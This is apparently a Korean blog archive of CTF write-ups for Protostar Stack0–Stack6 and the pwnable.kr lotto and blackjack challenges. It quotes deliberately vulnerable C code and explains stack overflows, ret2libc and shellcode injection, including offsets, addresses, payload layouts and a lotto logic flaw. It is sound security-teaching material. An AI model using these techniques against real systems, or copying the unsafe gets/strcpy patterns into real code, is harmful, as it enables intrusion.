MarcoKhan — Wed, 16 Jan 2019 20:43:26 +0900

Protostar --- Stack6

Stack6의 내용이다.

This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s) will help with this, or ret2libc, or even return orientated programming.

Stack6의 내용을 해석해보면 아래와 같다.

이번 level은 몇 가지 방법으로 실행될 수 있다.

1. payload의 복사본을 발견하는것.

2. retunr to library(RTL).

3. return 지향 프로그래밍.

Stack6의 소스를 분석해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void getpath()
{
  char buffer[64];
  unsigned int ret;
 
  printf("input path please: "); fflush(stdout);                                        
 
  gets(buffer);
 
  ret = __builtin_return_address(0);
 
  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }
 
  printf("got path %s\n", buffer);
}
 
int main(int argc, char **argv)
{
 
  getpath();
 
}
Colored by Color Scripter
cs

getpath() 함수를 호출한다.

1
2
3
4
5
6
int main(int argc, char **argv)                                                        
{
 
  getpath();
 
}
Colored by Color Scripter
cs

char type array buffer를 64 byte를 정의한다.

unsigned int type ret을 정의한다.

1
2
3
4
void getpath()                                                                        
{
  char buffer[64];
  unsigned int ret;
cs

"input path please: "를 출력하고, fflush()함수를 이용해 stdout을 비운다.

gets() 함수를 통해서, user로부터 buffer에 입력을 받는다.

__builtin_return_address(0) 함수의 설명은 아래와 같다.

This function returns the return address of the current function, or of one of its callers.

__builtin_return_address() 함수는 RET(EIP)를 return 하는 함수이다.

RET(EIP)를 ret에 저장한다.

1
2
3
4
5
 printf("input path please: "); fflush(stdout);                                        
 
  gets(buffer);
 
  ret = __builtin_return_address(0);
cs

만일 ret이 stack 영역(0xbfxxxxxx)을 사용하고 있다면 "bzzzt ret\n"을 출력하고 종료한다.

"got path buffer\n"를 출력한다.

1
2
3
4
5
6
7
  if((ret & 0xbf000000) == 0xbf000000) {                                        
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }
 
  printf("got path %s\n", buffer);
}
Colored by Color Scripter
cs

stack6가 어떤 stack 구조를 가지고 있는지 확인하기위해, gdb를 통해 분석해보자.

gdb를 통해 분석한 내용을 바탕으로 stack 구조를 그려보면 다음과 같이 그릴 수 있다.

이번 level에서 getpatch's RET 주소를 0xbf000000과 AND 연산하여, getpatch's RET가 stack을 가리키고 있는지 확인한다.

따라서, getpatch's RET의 주소가 stack 영역을 가르키면 안된다.

따라서 getpatch's RET를 system() 함수로 overwriting 하여, stack 영역이 아닌 library 영역으로 overwriting 하는 RTL(return to library)을 이용한다.

RTL 기법을 위해 필요한것을 아래의 3가지이다.

1) buffer부터 RET까지의 거리

2) system() 함수의 주소

3) "/bin/sh"의 주소

stack 구조를 통해 RET에 도달하기 위해 80 byte padding이 필요한것을 확인할 수 있다.

system() 함수의 주소는 gdb를 통해 알아낼 수 있다.

system() 함수의 주소는 0xf7e117e0이다.

"/bin/sh"의 문자열은 coding을 통해 보다 쉽게 찾을 수 있다.

system() 내부에 "/bin/sh"가 포함된다는것이 힌트이다.

1
2
3
4
5
6
7
8
9
// whereissh.c                                                                        
#include <stdio.h>
main()
{
        long shell = 0xf7e117e0;
        while(memcmp((void*)shell, "/bin/sh", 8))                                
                shell++;
        printf("%x\n", shell);
}
Colored by Color Scripter
cs

whereissh.c를 컴파일 후 실행하면 "/bin/sh"의 주소가 0xf7f50968임을 확인할 수 있다.

RTL의 payload는 80 byte padding + system() address + 4 byte dummy + "/bin/sh" address이다.

[Protostar] Stack5 풀이, write-up

MarcoKhan — Sat, 12 Jan 2019 22:12:40 +0900

Protostar --- Stack5

Stack5의 내용이다.

Stack5 is a standard buffer overflow, this time introducing shellcode.

Stack5의 내용을 해석해보면 다음과 같다.

Stack5는 기초적인 BOF이다, 이번엔 shellcode에 대해 소개한다.

Stack5의 Hint 내용이다.

At this point in time, it might be easier to use someone elses shellcode.

If debugging the shellcode, use \xcc(int3) to stop the program executing and return to the debugger remove the int3 once your shellcode is done.

Stack5의 Hint를 해석해보면 아래와 같다.

이번엔, 다른 사람의 shellcode를 이용하는것이 더 쉬울것이다.

만약 shellcode를 디버깅한다면, 실행되고 있는 프로그램을 종료시키기 위해 \xcc(int3)를 사용해라.

shellcode가 완료 되었으면 \xcc(int3)를 제거해도 된다.

stack.5의 소스를 분석해보자.

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)                                                        
{
  char buffer[64];
 
  gets(buffer);
}
Colored by Color Scripter
cs

char type 64 byte array buffer를 선언한다.

gets() 함수를 이용해 user로부터 입력을 받아 buffer에 저장한다.

stack5.c의 내용은 정말 간단하다. 다만 이번에는 shell을 띄우는것을 목적으로 한다.

stack5가 어떤 stack 구조를 가지고 있는지 확인하기 위해서, gdb를 통해 분석을 진행해보자.

이를 바탕으로 stack 구조를 그려보면 아래와 같이 그려볼 수 있다.

stack5를 분석한 내용을 바탕으로 shellcode를 띄우기 위한 방법에 대해 공부해보자.

이 문제를 풀기위한 방법은 크게 2가지로 정리하겠다.

1. buffer에 쉘코드 삽입 후 RET overwriting.

2. RET 하단(주소가 더 높은쪽)에 쉘코드를 삽입 후 RET overwriting.

1. buffer에 쉘코드 삽입 후 RET overwriting.

1번을 이용하기 위해서 우리가 알아야할 정보는 다음과 같다.

1) shellcode

2) buffer부터 RET까지의 거리

3) buffer의 주소

1)은 구글링을 통해 27 byte shellcode를 얻었고,
2)은 stack 구조 분석을 통해 72 byte의 패딩을 이용해 RET에 접근할 수 있다는것을 안다.

3)을 알기 위해 gdb를 통해 buffer의 주소를 찾아보자.

3) buffer의 주소가 아마 0x7fffffffe160이라는것을 알 수 있다.

실제로 0x7fffffffe160를 RET에 overwriting하면 성공해야하지만, Segmentation fault (core dumped)가 뜨는것을 확인할 수 있다.

gdb를 통해 분석한 buffer의 주소가 실제 buffer의 주소와 다를 수 있기 때문에 core dumped 된 파일을 분석했다.

buffer의 시작주소가 0x7fffffffe1c0로 바뀐것을 확인할 수 있다.

RET를 0x7fffffffe1c0로 overwriting하면 아래와 같이 shell을 획득할 수 있다.

2. RET 하단(주소가 더 높은쪽)에 쉘코드를 삽입 후 RET overwriting.

2번을 이용하기 위해서 우리가 알아야할 정보는 다음과 같다.

1) shellcode

2) buffer부터 RET까지의 거리

3) RET 하단(주소가 높은 부분)의 주소(shellcode가 시작되는 주소)

1) shellcode는 27 byte이고 ,2)는 1번을 통해 72 byte라는 것을 알았고,

3) shellcode가 시작되는 주소는 RET의 바로 아래 부분으로 맞출 것이다.

shellcode의 시작 주소는 0x7fffffffe1b0가 될 것이다.

이를 바탕으로 payload를 작성하면 다음과 같다.

하지만 Segmentation fault (core dumped)가 뜨는것을 확인할 수 있다.

core를 분석하면 shellcode의 시작주소가, 0x7fffffffe210으로 변경된것을 확인할 수 있다.

이를 바탕으로 payload를 재작성하면 아래와 같은 결과를 얻을 수 있다.

[Protostar] Stack4 풀이, write-up

MarcoKhan — Wed, 9 Jan 2019 16:54:47 +0900

Protostar --- Stack4

Stack4의 내용이다.

Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

Stack4의 내용을 해석해보면 다음과 같다.

Stack4는 saved EIP를 overwrting하는것, 일반적인 buffer overflow에 주목하면 된다.

Stack4의 Hints이다.

A variety of introductory papers into buffer overflows may help.

gdb lets you do "run < input"

EIP is not directly after the end of buffer, compiler padding can also increase the size.

Stack4의 Hints를 해석해보면 다음과 닽다.

다양한 입문자들을 위한 buffer overflow 서적(논문)은 도움이 될 것이다.

gdb는 "run < [input file name]"을 통해 input 값을 넣을 수 있다.

EIP는 buffer의 바로 끝에 붙어있지 않다. compiler padding은 공격해야할 크기를 증가시킬 수 있다.

stack4.c의 소스코드를 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void win()
{
  printf("code flow successfully changed\n");                                    
}
 
int main(int argc, char **argv)
{
  char buffer[64];
 
  gets(buffer);
}
Colored by Color Scripter
cs

char type 64 byte array buffer를 선언한다.

gets() 함수를 통해 user로부터 값을 입력받는다.

1
2
3
4
5
6
int main(int argc, char **argv)                                                    
{
  char buffer[64];
 
  gets(buffer);
}
Colored by Color Scripter
cs

win() 함수는 "code flow successfully changed\n"를 출력한다.

1
2
3
4
void win()
{    
  printf("code flow successfully changed\n");                                    
}
Colored by Color Scripter
cs

Stack4를 일반적으로 실행하면 절대 win()을 실행할 수 없다.

따라서 Stack4의 목표는 EIP를 변경하여 win() 함수를 실행하는것에 목적을 둔다.

Stack4를 gdb를 통해서 분석을 진행하자.

gdb를 바탕으로 stack의 구조를 그려보면 다음과 같다.

RET(EIP)를 수정하기 위해 overflow 시켜야할 크기는 다음과 같다.

64 byte(buffer) + 8 byte(SFP) = 72 byte padding.

72 byte padding 후 8 byte의 win() 함수의 주소를 적어주면 main 함수가 종료된 후 win()의 주소로 jump하여 실행을 할 것이다.

[Protostar] Stack3 풀이, write-up

MarcoKhan — Tue, 8 Jan 2019 14:06:29 +0900

Protostar --- Stack3

Stack3의 내용이다. (내용이 달라서 개인적으로 덧붙였다.)

We learn How to overwriting function pointers stored on the stack(as a prelude to overwriting the saved EIP)

해석해보면 다음과 같다.

우리는 stack 영역에 저장된 function pointer를 바꾸는 방법에 대해 배울 것이다.

이것은 saved EIP를 overwriting 하는 시초이다.

Stack3의 Hint는 다음과 같다.

both god and objdump is your friend you determining where the win() function lies in memory.

Stack3의 Hint를 해석해보면 다음과 같다.

gdb 그리고 objdump 모두 win() 함수가 어떤 메모리 위치에 있는지 결정하는데 도움을 주는 친구가 될거다.

stack3.c의 소스를 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void win()
{
  printf("code flow successfully changed\n");
}
 
int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];
 
  fp = 0;
 
  gets(buffer);
 
  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);                
      fp();
  }
}
Colored by Color Scripter
cs

volatile keyword를 사용하여 int type function pointer *fp를 선언한다.

char type 64 byte array buffer를 선언한다.

1
2
3
4
int main(int argc, char **argv)                                                    
{
  volatile int (*fp)();
  char buffer[64];
cs

function pointer fp(함수의 주소)에 0을 대입한다.

gets() 함수를 통해 user로부터 buffer에 문자열을 입력받는다.

1
2
3
  fp = 0;
 
  gets(buffer);                                                                    
cs

만일 fp의 값(함수의 주소 값)이 0이 아니면 "calling function pointer, jumping to fp"를 출력하고 fp() 함수를 실행한다.

만일 fp가 0이면 아무것도 실행하지 않는다.

1
2
3
4
5
  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);                
      fp();
  }
}
Colored by Color Scripter
cs

void의 return을 갖는 win() 함수를 선언한다.

win() 함수는 "code flow successfully changed\n"라는 문자열을 출력한다.

1
2
3
4
void win()
{
  printf("code flow successfully changed\n");                                    
}
Colored by Color Scripter
cs

실행을 해보면 아래와 같다.

fp를 덮었다고 가정했을때와, fp를 덮지 못했을 때이다.

우리가 조작해야할 string pointer가 stack 영역 중 어디에 위치해 있는지 알기 위해 gdb를 통한 분석을 진행한다.

gdb를 통해 우리는 stack의 구조를 살펴 볼 수 있고, win()의 주소가 "0x0000000000401142"라는것을 확인할 수 있다.

gdb를 통해 stack의 구조(only main function)를 보면 아래와 같다.

fp의 조작을 위해 우리는 72 byte의 padding을 통해 fp에 접근할 수 있고, fp를 win()의 주소("0x0000000000401142")로 overwriting 하면 된다.

성공!!

참고로 쉽게 함수명을 알 때 함수의 주소를 아는 방법이 크게 두가지가 있다.

objdump -d <filename> | grep \<function name\>: -A <number of line>

gdb를 이용한 방법

print <function name>

[Protostar] Stack2 풀이, write-up

MarcoKhan — Mon, 7 Jan 2019 10:01:40 +0900

Protostar --- Stack2

Stack2의 힌트이다.

Stack2 looks at environment variables, and how they can be set.

힌트를 해석해보자면 아래와 같다.

Stack2는 환경변수를 사용한다. 어떻게 환경변수가 사용되는지 확인해봐라.

Stack2.c의 소스는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;
 
  variable = getenv("GREENIE");
 
  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");                    
  }
 
  modified = 0;
 
  strcpy(buffer, variable);
 
  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
 
}
Colored by Color Scripter
cs

volatile keyword를 사용하여 int type modified를 선언한다.

char type array 64 byte buffer를 할당한다. char * type 8 byte(64bit)를 선언한다.

1
2
3
4
5
int main(int argc, char **argv)                                                    
{
  volatile int modified;
  char buffer[64];
  char *variable;
cs

getenv() 함수를 사용하여 "GREENIE" 환경변수의 주소를 variable에 return 한다. "GREENIE"의 이름을 가진 환경변수가 없다면, return NULL이다.

만일 variable의 주소가 NULL이면 (즉, GREENIE의 환경변수가 set되지 않으면) "please set the GREENIE enviroment variable\n" error message를 출력한다.

1
2
3
4
5
  variable = getenv("GREENIE");
 
  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");                    
  }
Colored by Color Scripter
cs

modified 변수를 0으로 초기화 하고 variable(GREENIE)의 내용(String)을 buffer로 copy한다.

1
2
3
  modified = 0;
 
  strcpy(buffer, variable);                                                        
cs

만일 modified의 값이 "0x0d0a0d0a"이면, "you have correctly modified the variable\n"을 출력한다.

만일 modified의 값이 "0x0d0a0d0a"가 아니면, "Try again, you got modified\n"를 출력한다.

처음 terminal을 열면 GREENIE의 환경변수가 set되지 않았으므로, stack2 실행에 실패할 것이다.

환경변수를 set 하는 방법은 아래와 같다.

export [환경변수명] = "설정 경로"

우리가 목표로 하는것은 환경변수를 이용해 overflow를 통한 modified 변조이다.

따라서 GREENIE 환경변수에 80 byte의 A로 패딩을 진행한다.

echo $[환경변수명]을 이용해 환경변수의 내용을 확인가능하다.

하지만 실행을 해보면 stack 구조를 분석하지 않았기 때문에 아래와 같이 환경변수 유무는 통과 가능하지만 원하는 String은 얻을 수 없다.

stack 구조를 분석하기 위해 gdb를 통해 분석해보자.

variable과 buffer, modified가 stack의 어느 위치에 존재하고 dummy가 얼만큼 있는지 확인하면 된다.

stack2 elf의 stack 구조는 아래와 같다.

char *variable 변수는 맨 마지막에 선언된 지역 변수이므로 buffer[64] 위에 선언되어서 사용되어야 하지만 어찌된 일인지 QWORD PTR [rbp-0x8]을 통해 접근한다.

다음과 같이 rax에 GREENIE의 환경변수의 주소가 들어있고 QWORD PTR [rbp-0X8]로 옮기는 것을 확인할 수 있다.

stack 구조를 바탕으로 미루어 보아 GREENIE에 68 byte padding을 통해 modified의 변수에 접근하고 추가 4 byte를 통해 modified를 변경할 수 있다.

little endian 방식을 사용함을 미루어 봐아 아래와 같이 성공할 수 있다.

굳!

[Protostar] Stack1 풀이, write-up

MarcoKhan — Sun, 6 Jan 2019 10:21:16 +0900

Protostar --- Stack1

Stack1의 힌트이다.

If you are unfamiliar with the hexadecimal being displayed, "man ascii" is our friend.

Also Protostar is little endian.

힌트를 해석하면 아래와 같다.

만약 너가 앞으로 보여질 16진수에 친숙하지 않다면 "man ascii" 명령어가 도움이 될것이다.

또한, Protostar는 little endian 방식을 사용한다.

stack1.c의 소스코드는 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
 
  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }
 
  modified = 0;
  strcpy(buffer, argv[1]);
 
  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");            
  } else {            
      printf("Try again, you got 0x%08x\n", modified);
  }
}
Colored by Color Scripter
cs

volatile keyword로 4 byte int type 변수 modified를 선언한다.

64 byte char type array buffer를 선언한다.

1
2
3
4
int main(int argc, char **argv)                                                    
{
  volatile int modified;
  char buffer[64];
cs

stack1을 실행할 때 파일의 파라미터가 없다면, "please specify an argument\n"를 출력한다.

1
2
3
    if(argc == 1) {
      errx(1, "please specify an argument\n");                                    
      }
Colored by Color Scripter
cs

modified 변수를 0으로 초기화하고, 첫 번째 인자를 buffer array에 복사한다.

1
2
      modified = 0;                                                                
      strcpy(buffer, argv[1]);
cs

만일 modified가 "0x61626364"이면, "you have correctly got the variable to the right value\n"를 출력한다.

만일 modified가 "0x61626364" 아니면, "Try again, you got modified"를 출력한다.

1
2
3
4
5
6
      if(modified == 0x61626364) {
              printf("you have correctly got the variable to the right value\n");
      } else {
                 printf("Try again, you got 0x%08x\n", modified);
       }
}
Colored by Color Scripter
cs

stack0과 매우 유사한 형태다. 하지만 stack1의 초점은 modified를 정확히 "0x61626364"로 초기화 해야한다.

만일 파라미터를 가지지 않으면 아래와 같이 나오고, stack0와 같이 너무 작은 값을 입력하여 modified를 변경시키지 못할때, overflow를 발생시켰지만 modified 값이 "0x61626364"로 변경되지 않을때는 아래와 같다.

gdb를 이용해 stack1의 elf 파일이 어떤 stack 구조를 가지고 있는지 확인해보자.

stack0에서 본 stack과 정확히 같은 구조를 가지고 있다.

다만 분석을 위해 parameter를 어디서 얻어오는지 확인해보자.

일반적으로 strcpy() 함수를 호출할 때, copy 할 source를 rsi, copy 될 destination을 rdi로 설정한다.

따라서 rdi는 buffer의 주소 source는 parameter의 주소가 될 것이다.

0x0000000000401184 <+50>: mov rax,QWORD PTR [rbp-0x60]

0x0000000000401188 <+54>: add rax,0x8

0x000000000040118c <+58>: mov rdx,QWORD PTR [rax]

0x000000000040118f <+61>: lea rax,[rbp-0x50]

0x0000000000401193 <+65>: mov rsi,rdx

0x0000000000401196 <+68>: mov rdi,rax

rsi에 대입되는 rdx를 주목해서 보면 된다.

gdb 분석을 바탕으로 stack을 그려보면 아래와 같이 정확히 stack0와 같음을 확인할 수 있다.

modified 변수의 값을 수정하기 위해서 76 byte의 padding이 필요하고 modified를 "0x61626364"로 대입하면 된다.

다만 여기서 little endian 사용하기 때문에 "\x64\x63\x62\x61"로 작성해야한다.

little endian을 고려하지 않고 사용하면 "0x64636261" 처럼 예상과 반대 값이 나오기 때문에 little endian을 고려해서 작성해야 한다.

[Protostar] Stack0 풀이, write-up

MarcoKhan — Sat, 5 Jan 2019 11:58:06 +0900

Protostar --- Stack0

Stack0의 힌트이다.

This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

해석해보면 아래와 같다.

이번 level은 메모리가 할당된 부분 밖(여기선 outside of array) 에서 접근 할 수 있다는 것을 소개한다.

어떻게 stack에 변수가 할당되는지, 할당된 부분 밖의 메모리를 변형하는 것은 프로그램의 실행을 변형할 수 있다는 것을 소개한다.

Stack0의 소스코드는 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
 
int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
 
  modified = 0;
  gets(buffer);
 
  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");                        
  } else {
      printf("Try again?\n");
  }
}
Colored by Color Scripter
cs

volatile keyword는 volatile로 선언된 변수를 사용할 때 최적화에서 제외하여 항상 메모리에 접근하도록 하는 함수이다.

소스코드를 보면 우리가 정상적인 방식으로 gets() 함수를 이용하면 항상 "Try again?\n" 문자열을 만난다.

하지만 우리는 modified를 변경시켜 "you have changed the 'modified' variable\n"을 만나야 한다.

따라서 modified 변수를 확인할 때, 최적화 하지 않고, 직접 메모리로부터 값을 얻어오기 위해 volatile keyword를 사용한다.

volatile keyword로 4byte 정수형 modified를 선언한다.

char array buffer를 64 byte 선언한다.

modified 변수를 0으로 초기화 하고, gets() 함수를 통해 사용자로부터 buffer에 입력을 받는다.

gets() 함수는 insecure한 함수이고, overflow를 check하지 않기 때문에 여기서 취약점이 발생한다.

1
2
3
4
5
6
7
int main(int argc, char **argv)                                                    
{
  volatile int modified;
  char buffer[64];
 
  modified = 0;
  gets(buffer);
cs

modified != 0 이면 즉, modified가 변경되면 "you have changed the 'modified' variable\n"을 출력하고

modified ==0 이면 즉, modified가 변경되지 않으면 "Try again?\n"을 출력한다.

1
2
3
4
5
6
    if(modified != 0) {
          printf("you have changed the 'modified' variable\n");                    
      } else {
          printf("Try again?\n");
      }
}
Colored by Color Scripter
cs

소스 분석을 끝냈으니 실행 과정을 확인하기 위해 아래와 같이 입력하면 overflow가 발생하는 것을 알 수 있다.

처음 실행은 간단히 test를 위해 4byte를 입력하였고, 두 번째 실행은 A를 약100번 입력하였더니 원하는 문자열을 만날 수 있었다.

정확히 분석해보기 위해 gdb를 통해 stack0를 확인해보자.

gdb를 통해 stack의 구조를 그려보면 아래와 같이 그릴 수 있다.

실제 우리가 변수를 할당하더라도 컴파일러는 stack에 접근하기 위한 최적화를 위해 dummy를 추가로 삽입할 수 있다.

즉, modified를 변경시키기 위해 최소 76바이트를 초과해서 입력해야한다.

완료!!!

[pwnable.kr] lotto 풀이, write-up

MarcoKhan — Thu, 27 Dec 2018 16:10:00 +0900

pwnable.kr --- lotto

ssh lotto@pwnable.kr 2222 (pw:guest)로 접속하면 lotto 문제를 만날 수 있다.

windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.

windows 환경의 cmd로 접속하려면 ssh lotto@pwnable.kr -p2222 (pw:guest)로 접속해야한다.

우선 현재 디렉터리에 어떤 파일이 존재하는지 확인해보자.

우리가 공격해야할 대상인 lotto와 lotto elf 파일을 만들었을 source로 예상되는 lotto.c와 flag가 존재한다.

flag는 현재 id(lotto)의 권한으로는 볼 수 없고, lotto elf 파일은 lotto_pwn의 권한으로 setuid가 설정되어있다.

lotto elf를 실행함으로써, setuid를 얻고 flag를 볼 수 있을것으로 예상된다.

lotto.c 파일을 분석해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
 
unsigned char submit[6];
 
void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);
 
    int r;
    r = read(0, submit, 6);
 
    printf("Lotto Start!\n");
    //sleep(1);
 
    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
    }
    close(fd);
    
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }
 
    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }
 
}
 
void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
 
int main(int argc, char* argv[]){
 
    // menu
    unsigned int menu;
 
    while(1){
 
        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");
 
        scanf("%d", &menu);
 
        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}
Colored by Color Scripter
cs

main 함수는 사용자로부터 menu를 입력받아, paly(), help(), 종료, exception handling을 진행한다.

help(), 종료, exception handling는 문제가 될만한 source가 없다.

따라서 자세하게 play() 함수를 분석한다.

play() 함수를 분석하면 아래와 같다.

4 byte 정수형 자료형을 하나 선언하고 "Submit your 6 lotto byte: "를 출력하고 output stream을 비운다.

1
2
3
4
5
void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");                                        
    fflush(stdout);
Colored by Color Scripter
cs

4 byte 정수형 자료형을 하나 선언하고, input stream으로부터 6글자를 받아 char 형 array submit에 저장한다.

"Lotto Start!\n"를 출력한다.

1
2
3
    int r;
    r = read(0, submit, 6);
    printf("Lotto Start!\n");                                                    
cs

random number를 얻기 위해 /dev/urandom을 읽는다.

/dev/urandom은 PRNG로서 crypto를 설명할 때 추가적으로 적을 기회가 있을것이다.

rand() 함수와 같이 무작위 난수를 생성한다고 생각하면 쉽다.

만일 file descriptor를 얻는데 실패하면 "error. tell admin\n"을 출력한다.

1
2
3
4
5
    int fd = open("/dev/urandom", O_RDONLY);                                    
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
Colored by Color Scripter
cs

char 형 array lotto를 선언한다. 이전 fd(file descriptor)를 이용해 /dev/urandom의 난수를 lotto에 6 byte 전달한다.

read() 함수에 실패하면 "error2, tell admin"을 출력한다.

1
2
3
4
5
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell admin\n");                                            
        exit(-1);
    }
Colored by Color Scripter
cs

lotto의 수는 1~45 사이의 숫자이기 때문에 /dev/urandom에 의해 생성된 의사 난수를 1~45 사이의 난수로 조정한다.

fd(file descriptor)를를 닫는다.

1
2
3
4
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45                            
    }
    close(fd);
Colored by Color Scripter
cs

사용자가 입력한 값(submit)과 /dev/urandom을 통해 얻은 의사 난수의 lotto를 비교한다.

만일 6글자가 같으면 match 1씩 증가시킨다.

하지만 여기서 문제가 발생하는데 lotto를 맞추기 위해서 중복을 신경쓰지 않는다는 것이다.

만일 lotto 번호가 123456이고, 사용자의 입력이 222222이 가능하다 이러한 경우는 6개 모두 일치하는것으로 확인되어

match가 6이 된다.

1
2
3
4
5
6
7
8
9
10
// calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){                                            
                match++;
            }
        }
    }
 
Colored by Color Scripter
cs

만일 match가 6이면 lotto_pwn의 권한으로 "/bin/cat flag"를 출력하고,

아니라면 "bad luck...\n"을 출력한다.

1
2
3
4
5
6
7
8
// win!
    if(match == 6){
        system("/bin/cat flag");                                                
    }
    else{
        printf("bad luck...\n");
    }
}    
Colored by Color Scripter
cs

즉, lotto와 submit array를 비교하는데 있어서 사용자의 입력을 중복 체크하지 않아서

우리는 높은 확률로 lotto에 당첨될 수 있다.

1~45 사이의 ascii 문자를 입력하면 높은 확률로 성공 가능하다.

lotto로 선정된 6개의 byte에 +가 있다고 가정하고 공격을 진행한다.

위와 같이 높은 확률로 운좋게 lotto에 당첨되어 flag를 획득할 수 있다.

45개의 문자중 6개의 순서를 모두 맞추는 것보다 45개의 중 6개의 문자 하나를 맞추는 확률이 훨씬 더 높기 때문이다.

[pwnable.kr] blackjack 풀이, write-up

MarcoKhan — Thu, 27 Dec 2018 15:28:19 +0900

pwnable.kr --- blackjack

자신의 서버에 접속한 뒤 nc pwnable.kr 9009로 접속하면 blackjack 문제를 만날 수 있다.

nc pwnable.kr 9009로 접속하면 바로 blackjack 파일이 실행되는 것을 확인할 수 있다.

blackjack에 관한 전체 소스는 아래의 경로로 접속 가능하다.

http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

모든 소스를 설명하기는 길기 때문에 중요 소스만 부분 부분 보면서 write-up을 진행한다.

blackjack에서 제일 주목할 부분은 play()에서 사용된 함수이다.

play() 함수는 blackjack을 실행하기 위한 핵심 함수이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
void play() //Plays game
{
      
     int p=0; // holds value of player_total
     int i=1; // counter for asking user to hold or stay (aka game turns)
     char choice3;
      
     cash = cash;
     cash_test();
     printf("\nCash: $%d\n",cash); //Prints amount of cash user has
     randcard(); //Generates random card
     player_total = p + l; //Computes player total
     p = player_total;
     printf("\nYour Total is %d\n", p); //Prints player total
     dealer(); //Computes and prints dealer total
     betting(); //Prompts user to enter bet amount
        
     while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times
                  //  because there is a chance user can generate twenty-one consecutive 1's
     {
         if(p==21) //If user total is 21, win
         {
             printf("\nUnbelievable! You Win!\n");
             won = won+1;
             cash = cash+bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }
      
         if(p>21) //If player total is over 21, loss
         {
             printf("\nWoah Buddy, You Went WAY over.\n");
             loss = loss+1;
